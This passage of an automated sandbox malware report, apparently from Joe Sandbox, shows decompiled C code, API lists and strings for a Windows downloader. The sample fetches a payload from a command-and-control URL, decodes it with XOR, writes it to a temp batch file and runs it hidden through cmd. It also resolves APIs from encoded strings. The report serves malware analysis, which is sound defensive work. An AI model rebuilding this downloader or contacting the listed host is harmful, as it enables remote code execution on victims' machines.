									GetTempFileNameA( &_v528, "TMP", 0, "C:\\Users\\jones\\AppData\\Local\\Temp\\TMPE5DD.tmp.bat"); // executed
									if(E01231720("C:\\Users\\jones\\AppData\\Local\\Temp\\TMPE5DD.tmp.bat",  &_v1560) < 0) {
										goto L11;
									}
									goto L2;
								}
								goto L14;
							} while ( *0x124a4d4 > 0);
						}
						_v1644.cb = 0x44;
						E012333D0(_t105,  &(_v1644.lpReserved), 0, 0x40);
						asm("xorps xmm0, xmm0");
						asm("movups [ebp-0x624], xmm0");
						E012333D0(_t105,  &_v1552, 0, 0x400);
						_v1556 = 0;
						_v1644.dwFlags = 1;
						_v1644.wShowWindow = 0;
						DeleteFileA("C:\\Users\\jones\\AppData\\Local\\Temp\\TMPE5DC.tmp");
						_push("C:\\Users\\jones\\AppData\\Local\\Temp\\TMPE5DC.tmp");
						_push("C:\\Users\\jones\\AppData\\Local\\Temp\\TMPE5DD.tmp.bat");
						_push(" /");
						_push("ex");
						E012316A0( &_v1552, 0x400, "%sd.%se%sc %s > %s 2>&1", "cm");
						_t113 = _t113 + 0x38;
						_t73 = CreateProcessA(0,  &_v1552, 0, 0, 0, 0x8000000, 0, 0,  &_v1644,  &_v1576);
						__eflags = _t73;
						if(_t73 != 0) {
							WaitForSingleObject(_v1576.hProcess, 0x493e0);
							Sleep(0x64);
							GetExitCodeProcess(_v1576.hProcess,  &_v1556);
							TerminateProcess(_v1576.hProcess, _v1556);
							CloseHandle(_v1576);
							CloseHandle(_v1576.hThread);
							DeleteFileA("C:\\Users\\jones\\AppData\\Local\\Temp\\TMPE5DD.tmp.bat");
							E01231C20(_t88);
							Sleep(0x2bf20);
							continue;
						}
						E012316A0( &_v268, 0x104, "CPE:%08x", GetLastError());
						_t103 =  &_v268;
						_t113 = _t113 + 0x10;
						_t94 = _t103 + 1;
						do {
							_t85 =  *_t103;
							_t103 = _t103 + 1;
							__eflags = _t85;
						} while (_t85 != 0);
						goto L24;
					}
					Sleep(0xea60);
					 *0x124a4d4 =  *0x124a4d4 - 1;
				}
			}

0x01232249
0x01232250
0x01232255
0x01232264
0x01232277
0x0123227c
0x01232289
0x0123229a
0x012322a0
0x012322a5
0x012322ab
0x012322b7
0x012322c0
0x012322d3
0x012322e8
0x012322fd
0x00000000
0x00000000
0x012322ff
0x012322ff
0x0123230a
0x01232310
0x01232312
0x0123233d
0x0123233d
0x0123233e
0x0123233e
0x0123234a
0x00000000
0x0123234a
0x0123231f
0x01232321
0x01232323
0x01232327
0x0123232c
0x00000000
0x00000000
0x0123232e
0x01232330
0x01232331
0x01232332
0x01232335
0x00000000
0x00000000
0x00000000
0x01232337
0x01232339
0x0123233b
0x00000000
0x00000000
0x00000000
0x0123234d
0x01232354
0x01232368
0x0123236d
0x0123236f
0x012324fe
0x01232503
0x01232509
0x0123250c
0x01232510
0x01232510
0x01232512
0x01232513
0x01232513
0x01232517
0x0123251f
0x01232524
0x0123252a
0x01232530
0x01232530
0x01232532
0x01232533
0x01232533
0x01232537
0x01232537
0x0123253f
0x01232549
0x012322c0
0x012322d3
0x012322e8
0x012322fd
0x00000000
0x00000000
0x00000000
0x012322fd
0x012322c0
0x01232375
0x01232375
0x0123237c
0x00000000
0x012322c0
0x012322c0
0x012322d3
0x012322e8
0x012322fd
0x00000000
0x00000000
0x00000000
0x012322fd
0x00000000
0x012322c0
0x012322c0
0x0123238a
0x01232397
0x012323a7
0x012323ad
0x012323b4
0x012323bc
0x012323c8
0x012323d2
0x012323de
0x012323e4
0x012323e9
0x012323ee
0x012323f3
0x0123240e
0x01232413
0x0123243c
0x01232442
0x01232444
0x01232487
0x0123248f
0x0123249e
0x012324b0
0x012324bc
0x012324c8
0x012324d3
0x012324d9
0x012324e3
0x00000000
0x012324e3
0x0123245a
0x0123245f
0x01232465
0x01232468
0x01232470
0x01232470
0x01232472
0x01232473
0x01232473
0x00000000
0x01232477
0x0123235b
0x0123235d
0x0123235d

APIs

GetTempPathA.KERNELBASE(00000104,?), ref: 0123229A

Part of subcall function 01231EB0: LoadLibraryA.KERNEL32(Kernel32.dll), ref: 01231EE6
Part of subcall function 01231EB0: GetProcAddress.KERNEL32(00000000,?), ref: 01231FAB
Part of subcall function 01231EB0: LoadLibraryA.KERNELBASE(wininet.dll), ref: 01231FBF

GetTempFileNameA.KERNELBASE(?,TMP,00000000,C:\Users\user\AppData\Local\Temp\TMPE5DC.tmp), ref: 012322D3
GetTempFileNameA.KERNELBASE(?,TMP,00000000,C:\Users\user\AppData\Local\Temp\TMPE5DD.tmp.bat), ref: 012322E8
Sleep.KERNEL32(0000EA60,?), ref: 0123235B
DeleteFileA.KERNEL32(C:\Users\user\AppData\Local\Temp\TMPE5DC.tmp,?,?,?,?,?,?), ref: 012323DE
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 0123243C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 01232446
WaitForSingleObject.KERNEL32(?,000493E0,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 01232487
Sleep.KERNEL32(00000064,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0123248F
GetExitCodeProcess.KERNEL32(?,00000000), ref: 0123249E
TerminateProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 012324B0
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 012324BC
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 012324C8
DeleteFileA.KERNEL32(C:\Users\user\AppData\Local\Temp\TMPE5DD.tmp.bat,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 012324D3
Sleep.KERNEL32(0002BF20,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 012324E3
GetLastError.KERNEL32(?), ref: 012324EA
Sleep.KERNELBASE(0002BF20), ref: 01232549

Strings

.bat, xrefs: 0123231A
http://poem.ekosa.org/intro/info/info.asp, xrefs: 0123227F
D, xrefs: 0123238A
CPE:%08x, xrefs: 01232449
C:\Users\user\AppData\Local\Temp\TMPE5DD.tmp.bat, xrefs: 012322D5, 012322F0, 012323E9, 012324CE
TMP, xrefs: 012322C7, 012322DC
C:\Users\user\AppData\Local\Temp\TMPE5DC.tmp, xrefs: 012322C0, 012323D9, 012323E4
%sd.%se%sc %s > %s 2>&1, xrefs: 012323FD
DFE:%08x, xrefs: 012324ED
http://poem.ekosa.org/intro/info/info.asp, xrefs: 01232284

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID: FileSleep$ProcessTemp$CloseDeleteErrorHandleLastLibraryLoadName$AddressCodeCreateExitObjectPathProcSingleTerminateWait
String ID: %sd.%se%sc %s > %s 2>&1$.bat$C:\Users\user\AppData\Local\Temp\TMPE5DC.tmp$C:\Users\user\AppData\Local\Temp\TMPE5DD.tmp.bat$CPE:%08x$D$DFE:%08x$TMP$http://poem.ekosa.org/intro/info/info.asp$http://poem.ekosa.org/intro/info/info.asp
API String ID: 2697304587-3788188242
Opcode ID: 060d9bf43e8431659b6ce160081e6adaaa25c6c974257946f472488fa93942f1
Instruction ID: 2cb9136d35722be0fb5177df4918bce4d17e4b63101a4d474c455631b065348e
Opcode Fuzzy Hash: 060d9bf43e8431659b6ce160081e6adaaa25c6c974257946f472488fa93942f1
Instruction Fuzzy Hash: 7A7116B5AA0219EBEB34DB64EC49FE877B9AF94700F0040D5F745A7181DBB16A94CF20

Uniqueness

Uniqueness Score: -1.00%

Function 01231780, Relevance: 44.0, APIs: 20, Strings: 5, Instructions: 265
filenetworkCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 57%

			E01231780(void* __ebx, void* __edx, void* __edi, void* __eflags) {
				signed int _v8;
				char _v268;
				char _v528;
				char _v788;
				long _v792;
				long _v796;
				void* __esi;
				void* __ebp;
				signed int _t36;
				struct _SECURITY_ATTRIBUTES* _t55;
				signed int _t97;
				void* _t98;
				long _t110;
				void* _t111;
				void* _t112;
				void* _t113;
				void* _t114;
				void* _t115;
				void* _t116;
				void* _t124;
				void* _t135;
				void* _t138;
				void* _t139;
				void* _t140;
				long _t141;
				void* _t142;
				void* _t143;
				void* _t144;
				void* _t145;
				void* _t146;
				intOrPtr _t147;
				void* _t148;
				signed int _t149;

				_t138 = __edi;
				_t135 = __edx;
				_t36 =  *0x1249004; // 0x5a4607f2
				_v8 = _t36 ^ _t149;
				E012333D0(__edi,  &_v528, 0, 0x104);
				E012333D0(_t138,  &_v788, 0, 0x104);
				E012333D0(_t138,  &_v268, 0, 0x104);
				GetTempPathA(0x104,  &_v788);
				GetTempFileNameA( &_v788, "TMP", 0,  &_v268); // executed
				_t147 =  *0x1242028;
				DeleteFileA("C:\\Users\\jones\\AppData\\Local\\Temp\\TMPE5DD.tmp.bat"); // executed
				E012315C0( &_v528, "http://poem.ekosa.org/intro/info/info.asp");
				E01231620( &_v528, "?id=dn678");
				DeleteUrlCacheEntry( &_v528); // executed
				_push(0);
				_push(0);
				_push( &_v268);
				_t55 =  &_v528;
				_push(_t55);
				_push(0); // executed
				"`\\lmC:\\Users\\jones\\AppData\\Local\\Temp\\TMPE5DD.tmp.bat"(); // executed
				if(_t55 != 0) {
					return E01232550(__ebx, _v8 ^ _t149, _t135, _t138, _t147);
				} else {
					_push(_t138);
					_v796 = _t55;
					_t139 = CreateFileA( &_v268, 0x80000000, 1, _t55, 3, 0x80, _t55);
					if(_t139 != 0xffffffff) {
						_push(__ebx);
						_t110 = GetFileSize(_t139, 0);
						if(_t110 != 0) {
							_t18 = _t110 + 0x20; // 0x20
							_t148 = LocalAlloc(0x40, _t18);
							if(_t148 == 0) {
								L8:
								CloseHandle(_t139);
								 *((intOrPtr*)( *0x1242028))( &_v268);
								_pop(_t111);
								_pop(_t140);
								return E01232550(_t111, _v8 ^ _t149, _t135, _t140, _t148);
							} else {
								if(ReadFile(_t139, _t148, _t110,  &_v796, 0) != 0) {
									CloseHandle(_t139);
									 *((intOrPtr*)( *0x1242028))( &_v268);
									_t136 =  &_v792;
									_v792 = _t110;
									E01231260(_t148,  &_v792, _t139);
									_t141 = _v792;
									_t124 = 0;
									if(_t141 > 0) {
										if(_t141 >= 0x20) {
											_t97 = _t141 & 0x8000001f;
											if(_t97 < 0) {
												_t97 = (_t97 - 0x00000001 | 0xffffffe0) + 1;
											}
											asm("movaps xmm1, [0x12477a0]");
											_t136 = _t141 - _t97;
											_t26 = _t148 + 0x10; // 0x10
											_t98 = _t26;
											do {
												asm("movups xmm0, [eax-0x10]");
												_t124 = _t124 + 0x20;
												_t98 = _t98 + 0x20;
												asm("pxor xmm0, xmm1");
												asm("movups [eax-0x30], xmm0");
												asm("movups xmm0, [eax-0x20]");
												asm("pxor xmm0, xmm1");
												asm("movups [eax-0x20], xmm0");
											} while (_t124 < _t136);
										}
										while(_t124 < _t141) {
											 *(_t124 + _t148) =  *(_t124 + _t148) ^ 0x0000009e;
											_t124 = _t124 + 1;
										}
									}
									if(_t141 != 0xa || E01233C90(_t148, "sleep", 5) != 0) {
										_t112 = CreateFileA("C:\\Users\\jones\\AppData\\Local\\Temp\\TMPE5DD.tmp.bat", 0x40000000, 2, 0, 2, 0x80, 0);
										if(_t112 != 0xffffffff) {
											if(WriteFile(_t112, _t148, _t141,  &_v796, 0) != 0) {
												 *((intOrPtr*)( *0x124202c))(_t112);
												goto L21;
											} else {
												LocalFree(_t148);
												 *((intOrPtr*)( *0x124202c))();
												DeleteFileA("C:\\Users\\jones\\AppData\\Local\\Temp\\TMPE5DD.tmp.bat");
												_t114 = _t112;
												_pop(_t143);
												return E01232550(_t114, _v8 ^ _t149, _t136, _t143, _t148);
											}
										} else {
											LocalFree(_t148);
											_pop(_t115);
											_pop(_t144);
											return E01232550(_t115, _v8 ^ _t149, _t136, _t144, _t148);
										}
									} else {
										_t30 = _t148 + 5; // 0x5
										 *0x124a4d4 = E012352FD(_t124, _t30);
										L21:
										LocalFree(_t148);
										_pop(_t113);
										_pop(_t142);
										return E01232550(_t113, _v8 ^ _t149, _t136, _t142, _t148);
									}
								} else {
									LocalFree(_t148);
									goto L8;
								}
							}
						} else {
							CloseHandle(_t139);
							DeleteFileA( &_v268);
							_pop(_t116);
							_pop(_t145);
							return E01232550(_t116, _v8 ^ _t149, _t135, _t145, _t147);
						}
					} else {
						_pop(_t146);
						return E01232550(__ebx, _v8 ^ _t149, _t135, _t146, _t147);
					}
				}
			}

0x01231780
0x01231780
0x01231789
0x01231790
0x012317a2
0x012317b5
0x012317c8
0x012317dc
0x012317f7
0x012317fd
0x01231808
0x01231815
0x01231825
0x01231831
0x01231837
0x01231839
0x01231841
0x01231842
0x01231848
0x01231849
0x0123184b
0x01231853
0x01231a8e
0x01231859
0x01231859
0x01231865
0x0123187d
0x01231882
0x01231896
0x012318a0
0x012318a4
0x012318c9
0x012318d5
0x012318d9
0x012318f8
0x012318f9
0x0123190b
0x0123190d
0x0123190e
0x0123191f
0x012318db
0x012318ef
0x01231921
0x01231933
0x01231935
0x0123193b
0x01231943
0x01231948
0x0123194e
0x01231952
0x01231957
0x0123195b
0x01231960
0x01231966
0x01231966
0x01231967
0x01231970
0x01231972
0x01231972
0x01231975
0x01231975
0x01231979
0x0123197c
0x0123197f
0x01231983
0x01231987
0x0123198b
0x0123198f
0x01231993
0x01231975
0x01231999
0x012319a0
0x012319a4
0x012319a5
0x01231999
0x012319ac
0x01231a0d
0x01231a12
0x01231a42
0x01231a77
0x00000000
0x01231a44
0x01231a45
0x01231a51
0x01231a58
0x01231a5e
0x01231a5f
0x01231a70
0x01231a70
0x01231a14
0x01231a15
0x01231a1b
0x01231a1c
0x01231a2d
0x01231a2d
0x012319c2
0x012319c2
0x012319ce
0x012319d3
0x012319d4
0x012319da
0x012319db
0x012319ef
0x012319ef
0x012318f1
0x012318f2
0x00000000
0x012318f2
0x012318ef
0x012318a6
0x012318a7
0x012318b4
0x012318b6
0x012318b7
0x012318c8
0x012318c8
0x01231884
0x01231884
0x01231895
0x01231895
0x01231882

APIs

GetTempPathA.KERNEL32(00000104,?), ref: 012317DC
GetTempFileNameA.KERNELBASE(?,TMP,00000000,?), ref: 012317F7
DeleteFileA.KERNELBASE(C:\Users\user\AppData\Local\Temp\TMPE5DD.tmp.bat), ref: 01231808
DeleteUrlCacheEntry.WININET(?), ref: 01231831
URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 0123184B
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 01231877
GetFileSize.KERNEL32(00000000,00000000), ref: 0123189A
CloseHandle.KERNEL32(00000000), ref: 012318A7
DeleteFileA.KERNEL32(?), ref: 012318B4

Strings

http://poem.ekosa.org/intro/info/info.asp, xrefs: 0123180A
sleep, xrefs: 012319B0
C:\Users\user\AppData\Local\Temp\TMPE5DD.tmp.bat, xrefs: 01231803, 01231A02, 01231A53
TMP, xrefs: 012317EB
?id=dn678, xrefs: 0123181A

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID: File$Delete$Temp$CacheCloseCreateDownloadEntryHandleNamePathSize
String ID: ?id=dn678$C:\Users\user\AppData\Local\Temp\TMPE5DD.tmp.bat$TMP$http://poem.ekosa.org/intro/info/info.asp$sleep
API String ID: 4183970249-747994356
Opcode ID: c3800ba8663e57e8029c07db2f03b678cb02476ca8080e65ca6fb35b59f32e4a
Instruction ID: 5cb96ac1abef7569b328e0a6e1b1dcb8e92b857fa49d368953eb821cb7a4c8c3
Opcode Fuzzy Hash: c3800ba8663e57e8029c07db2f03b678cb02476ca8080e65ca6fb35b59f32e4a
Instruction Fuzzy Hash: 7C81D775A10219ABD721DB78FC49FFE73BDEF98710F100196F60AD6181EB709A858B60

Uniqueness

Uniqueness Score: -1.00%

Function 01231EB0, Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 271
libraryloaderCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 24%

			E01231EB0() {
				signed int _v8;
				char _v252;
				char _v268;
				signed int _v272;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t60;
				intOrPtr _t68;
				_Unknown_base(*)()* _t71;
				struct HINSTANCE__* _t72;
				intOrPtr _t75;
				_Unknown_base(*)()* _t78;
				struct HINSTANCE__* _t79;
				intOrPtr _t82;
				char _t85;
				intOrPtr _t88;
				signed int _t93;
				char* _t94;
				signed int _t98;
				char* _t99;
				signed int _t103;
				char* _t104;
				signed int _t108;
				char* _t109;
				intOrPtr _t112;
				intOrPtr* _t115;
				void* _t118;
				intOrPtr* _t119;
				void* _t122;
				intOrPtr* _t123;
				void* _t126;
				intOrPtr* _t127;
				void* _t130;
				signed int _t131;
				void* _t132;
				void* _t134;
				void* _t136;
				void* _t138;
				void* _t140;
				struct HINSTANCE__* _t141;
				void* _t142;
				void* _t145;
				void* _t148;
				void* _t151;
				void* _t154;
				signed int _t155;

				_t60 =  *0x1249004; // 0x5a4607f2
				_v8 = _t60 ^ _t155;
				E012333D0(_t140,  &_v268, 0, 0x104);
				_t112 =  *0x1242024;
				_t141 = LoadLibraryA("Kernel32.dll");
				if(_t141 != 0) {
					_push("3ez7/+r7zuzx/fvt7d8=");
					_push(0x104);
					_push( &_v268);
					E012316A0();
					_t115 =  &_v268;
					_t132 = _t115 + 1;
					do {
						_t68 =  *_t115;
						_t115 = _t115 + 1;
					} while (_t68 != 0);
					_v272 = _t115 - _t132;
					_push(_t142);
					E01231260( &_v268,  &_v272, _t141);
					_t131 = _v272;
					_t118 = 0;
					if(_t131 > 0) {
						if(_t131 >= 0x20) {
							_t108 = _t131 & 0x8000001f;
							if(_t108 < 0) {
								_t108 = (_t108 - 0x00000001 | 0xffffffe0) + 1;
							}
							asm("movaps xmm1, [0x12477a0]");
							_t154 = _t131 - _t108;
							_t109 =  &_v252;
							do {
								asm("movups xmm0, [eax-0x10]");
								_t118 = _t118 + 0x20;
								_t109 = _t109 + 0x20;
								asm("pxor xmm0, xmm1");
								asm("movups [eax-0x30], xmm0");
								asm("movups xmm0, [eax-0x20]");
								asm("pxor xmm0, xmm1");
								asm("movups [eax-0x20], xmm0");
							} while (_t118 < _t154);
						}
						while(_t118 < _t131) {
							 *(_t155 + _t118 - 0x108) =  *(_t155 + _t118 - 0x108) ^ 0x0000009e;
							_t118 = _t118 + 1;
						}
					}
					_t71 = GetProcAddress(_t141,  &_v268);
					 *0x124a2c4 = _t71;
					if(_t71 != 0) {
						_t72 = LoadLibraryA("wininet.dll"); // executed
						_t141 = _t72;
						if(_t141 != 0) {
							_push("2vvy++r7y+zy3f/99vvb8Ors598=");
							_push(0x104);
							_push( &_v268);
							E012316A0();
							_t119 =  &_v268;
							_t134 = _t119 + 1;
							do {
								_t75 =  *_t119;
								_t119 = _t119 + 1;
							} while (_t75 != 0);
							_v272 = _t119 - _t134;
							E01231260( &_v268,  &_v272, _t141);
							_t131 = _v272;
							_t122 = 0;
							if(_t131 > 0) {
								if(_t131 >= 0x20) {
									_t103 = _t131 & 0x8000001f;
									if(_t103 < 0) {
										_t103 = (_t103 - 0x00000001 | 0xffffffe0) + 1;
									}
									asm("movaps xmm1, [0x12477a0]");
									_t151 = _t131 - _t103;
									_t104 =  &_v252;
									do {
										asm("movups xmm0, [eax-0x10]");
										_t122 = _t122 + 0x20;
										_t104 = _t104 + 0x20;
										asm("pxor xmm0, xmm1");
										asm("movups [eax-0x30], xmm0");
										asm("movups xmm0, [eax-0x20]");
										asm("pxor xmm0, xmm1");
										asm("movups [eax-0x20], xmm0");
									} while (_t122 < _t151);
								}
								while(_t122 < _t131) {
									 *(_t155 + _t122 - 0x108) =  *(_t155 + _t122 - 0x108) ^ 0x0000009e;
									_t122 = _t122 + 1;
								}
							}
							_t78 = GetProcAddress(_t141,  &_v268);
							 *0x124a2c0 = _t78;
							if(_t78 != 0) {
								_t79 = LoadLibraryA("urlmon.dll"); // executed
								_t141 = _t79;
								if(_t141 != 0) {
									_push("y8zS2vHp8PLx//rK8dj38vvf");
									_push(0x104);
									_push( &_v268);
									E012316A0();
									_t123 =  &_v268;
									_t136 = _t123 + 1;
									do {
										_t82 =  *_t123;
										_t123 = _t123 + 1;
									} while (_t82 != 0);
									_v272 = _t123 - _t136;
									E01231260( &_v268,  &_v272, _t141);
									_t131 = _v272;
									_t126 = 0;
									if(_t131 > 0) {
										if(_t131 >= 0x20) {
											_t98 = _t131 & 0x8000001f;
											if(_t98 < 0) {
												_t98 = (_t98 - 0x00000001 | 0xffffffe0) + 1;
											}
											asm("movaps xmm1, [0x12477a0]");
											_t148 = _t131 - _t98;
											_t99 =  &_v252;
											asm("o16 nop [eax+eax]");
											do {
												asm("movups xmm0, [eax-0x10]");
												_t126 = _t126 + 0x20;
												_t99 = _t99 + 0x20;
												asm("pxor xmm0, xmm1");
												asm("movups [eax-0x30], xmm0");
												asm("movups xmm0, [eax-0x20]");
												asm("pxor xmm0, xmm1");
												asm("movups [eax-0x20], xmm0");
											} while (_t126 < _t148);
										}
										while(_t126 < _t131) {
											 *(_t155 + _t126 - 0x108) =  *(_t155 + _t126 - 0x108) ^ 0x0000009e;
											_t126 = _t126 + 1;
										}
									}
									_t85 = GetProcAddress(_t141,  &_v268);
									"`\\lmC:\\Users\\jones\\AppData\\Local\\Temp\\TMPE5DD.tmp.bat" = _t85;
									if(_t85 != 0) {
										_push("y8zS0e778M3q7Pv/898=");
										_push(0x104);
										_push( &_v268);
										E012316A0();
										_t127 =  &_v268;
										_t138 = _t127 + 1;
										do {
											_t88 =  *_t127;
											_t127 = _t127 + 1;
										} while (_t88 != 0);
										_v272 = _t127 - _t138;
										E01231260( &_v268,  &_v272, _t141);
										_t131 = _v272;
										_t130 = 0;
										if(_t131 > 0) {
											if(_t131 >= 0x20) {
												_t93 = _t131 & 0x8000001f;
												if(_t93 < 0) {
													_t93 = (_t93 - 0x00000001 | 0xffffffe0) + 1;
												}
												asm("movaps xmm1, [0x12477a0]");
												_t145 = _t131 - _t93;
												_t94 =  &_v252;
												do {
													asm("movups xmm0, [eax-0x10]");
													_t130 = _t130 + 0x20;
													_t94 = _t94 + 0x20;
													asm("pxor xmm0, xmm1");
													asm("movups [eax-0x30], xmm0");
													asm("movups xmm0, [eax-0x20]");
													asm("pxor xmm0, xmm1");
													asm("movups [eax-0x20], xmm0");
												} while (_t130 < _t145);
											}
											while(_t130 < _t131) {
												 *(_t155 + _t130 - 0x108) =  *(_t155 + _t130 - 0x108) ^ 0x0000009e;
												_t130 = _t130 + 1;
											}
										}
										 *0x124a2bc = GetProcAddress(_t141,  &_v268);
									}
								}
							}
						}
					}
					_pop(_t142);
				}
				return E01232550(_t112, _v8 ^ _t155, _t131, _t141, _t142);
			}

0x01231eb9
0x01231ec0
0x01231ed3
0x01231ed8
0x01231ee8
0x01231eec
0x01231ef2
0x01231efd
0x01231f02
0x01231f03
0x01231f08
0x01231f11
0x01231f14
0x01231f14
0x01231f16
0x01231f17
0x01231f23
0x01231f2f
0x01231f30
0x01231f35
0x01231f3b
0x01231f3f
0x01231f44
0x01231f48
0x01231f4d
0x01231f53
0x01231f53
0x01231f54
0x01231f5d
0x01231f5f
0x01231f65
0x01231f65
0x01231f69
0x01231f6c
0x01231f6f
0x01231f73
0x01231f77
0x01231f7b
0x01231f7f
0x01231f83
0x01231f65
0x01231f89
0x01231f90
0x01231f98
0x01231f99
0x01231f89
0x01231fab
0x01231fad
0x01231fb4
0x01231fbf
0x01231fc1
0x01231fc5
0x01231fcb
0x01231fd6
0x01231fdb
0x01231fdc
0x01231fe1
0x01231fea
0x01231ff0
0x01231ff0
0x01231ff2
0x01231ff3
0x01231fff
0x0123200b
0x01232010
0x01232016
0x0123201a
0x0123201f
0x01232023
0x01232028
0x0123202e
0x0123202e
0x0123202f
0x01232038
0x0123203a
0x01232040
0x01232040
0x01232044
0x01232047
0x0123204a
0x0123204e
0x01232052
0x01232056
0x0123205a
0x0123205e
0x01232062
0x0123206a
0x01232070
0x01232078
0x01232079
0x0123206a
0x01232085
0x01232087
0x0123208e
0x01232099
0x0123209b
0x0123209f
0x012320a5
0x012320b0
0x012320b5
0x012320b6
0x012320bb
0x012320c4
0x012320c7
0x012320c7
0x012320c9
0x012320ca
0x012320d6
0x012320e2
0x012320e7
0x012320ed
0x012320f1
0x012320f6
0x012320fa
0x012320ff
0x01232105
0x01232105
0x01232106
0x0123210f
0x01232111
0x01232117
0x01232120
0x01232120
0x01232124
0x01232127
0x0123212a
0x0123212e
0x01232132
0x01232136
0x0123213a
0x0123213e
0x01232142
0x0123214a
0x01232150
0x01232158
0x01232159
0x0123214a
0x01232165
0x01232167
0x0123216e
0x01232174
0x0123217f
0x01232184
0x01232185
0x0123218a
0x01232193
0x01232196
0x01232196
0x01232198
0x01232199
0x012321a5
0x012321b1
0x012321b6
0x012321bc
0x012321c0
0x012321c5
0x012321c9
0x012321ce
0x012321d4
0x012321d4
0x012321d5
0x012321de
0x012321e0
0x012321e6
0x012321e6
0x012321ea
0x012321ed
0x012321f0
0x012321f4
0x012321f8
0x012321fc
0x01232200
0x01232204
0x01232208
0x01232210
0x01232212
0x0123221a
0x0123221b
0x01232210
0x01232229
0x01232229
0x0123216e
0x0123209f
0x0123208e
0x01231fc5
0x0123222e
0x0123222e
0x0123223e

APIs

LoadLibraryA.KERNEL32(Kernel32.dll), ref: 01231EE6
GetProcAddress.KERNEL32(00000000,?), ref: 01231FAB
LoadLibraryA.KERNELBASE(wininet.dll), ref: 01231FBF
GetProcAddress.KERNEL32(00000000,?), ref: 01232085
LoadLibraryA.KERNELBASE(urlmon.dll), ref: 01232099
GetProcAddress.KERNEL32(00000000,?), ref: 01232165
GetProcAddress.KERNEL32(00000000,?), ref: 01232227

Strings

wininet.dll, xrefs: 01231FBA
3ez7/+r7zuzx/fvt7d8=, xrefs: 01231EF2
y8zS0e778M3q7Pv/898=, xrefs: 01232174
y8zS2vHp8PLx//rK8dj38vvf, xrefs: 012320A5
urlmon.dll, xrefs: 01232094
2vvy++r7y+zy3f/99vvb8Ors598=, xrefs: 01231FCB
Kernel32.dll, xrefs: 01231EE1

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: 2vvy++r7y+zy3f/99vvb8Ors598=$3ez7/+r7zuzx/fvt7d8=$Kernel32.dll$urlmon.dll$wininet.dll$y8zS0e778M3q7Pv/898=$y8zS2vHp8PLx//rK8dj38vvf
API String ID: 2238633743-3804073418
Opcode ID: ac452062c111524441b9978be2d4e8f215f736e9bb0e625e8ff8cd3d4e498ba3
Instruction ID: 3e1f74108615050e1bedbe61d8d88fdff5635e6b8f9ffb50f650b5674d8e4fae
Opcode Fuzzy Hash: ac452062c111524441b9978be2d4e8f215f736e9bb0e625e8ff8cd3d4e498ba3
Instruction Fuzzy Hash: 8DA1357482061A8BCB29CB3CCD406F9B775BFBA304F2883D9C995A7152FB7096C58B50

Uniqueness

Uniqueness Score: -1.00%

Function 01232D83, Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E01232D83() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E01232D8F); // executed
				return _t1;
			}

0x01232d88
0x01232d8e

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00002D8F,01232609), ref: 01232D88

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
